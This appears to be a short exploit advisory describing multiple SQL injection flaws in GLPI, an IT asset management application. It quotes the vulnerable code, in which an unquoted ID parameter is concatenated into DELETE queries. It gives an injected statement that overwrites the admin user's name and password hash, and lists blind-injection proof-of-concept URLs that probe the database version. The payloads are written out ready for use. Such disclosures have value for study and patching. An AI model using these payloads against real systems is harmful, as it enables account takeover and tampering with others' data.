[+] Bug         : Multiple Remote SQL Injections

Let's have a look on the Security System GLPI uses :

--- \inc\includes.php ---

// Security system
if (isset($_POST)){
	if (!get_magic_quotes_gpc()){
		$_POST = array_map('addslashes_deep', $_POST);
	}
	$_POST = array_map('clean_cross_side_scripting_deep', $_POST);
}
if (isset($_GET)){
	if (!get_magic_quotes_gpc()){
		$_GET = array_map('addslashes_deep', $_GET);
	}
	$_GET = array_map('clean_cross_side_scripting_deep', $_GET);
}

As you can see , GLPI cleans the POSTS and GETS making it safe from
cross side scripting and Slahsing it if magic_quotes_gpc OFF ,
BUT
We are not obliged to use quotes injecting the GLPI
We can Inject for example the parameter ID with no need to use a quote
Taking rulesengine.class.php as an example :

--- \inc\rulesengine.class.php ---

	function cleanDBonPurge($ID){
		// Delete a rule and all associated criterias and actions
		global $DB;
		$sql = "DELETE FROM glpi_rules_actions WHERE FK_rules=".$ID; <--
		$DB->query($sql);
		
		$sql = "DELETE FROM glpi_rules_criterias WHERE FK_rules=".$ID; <--
		$DB->query($sql);
	}
---

Trying to inject...
since we can modify the ID parameter we will make the query looks like :

DELETE FROM glpi_rules_criterias WHERE FK_rules=1 UPDATE glpi_users
SET name=1337 AND password_md5=E48E13207341B6BFFB7FB1622282247B where
ID=1
and u can guess what u can do..


[+] Proof Of Concept :

http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1 True , You get
your normal page
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1337 False , You
get "Item not found"
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5
, True (in my case)
http://127.0.0.1/glpi/front/profile.form.php?ID=2+and+1=1337

So other files that uses ID parameter (besides the other parameters)
Im too lazy to write them all :/
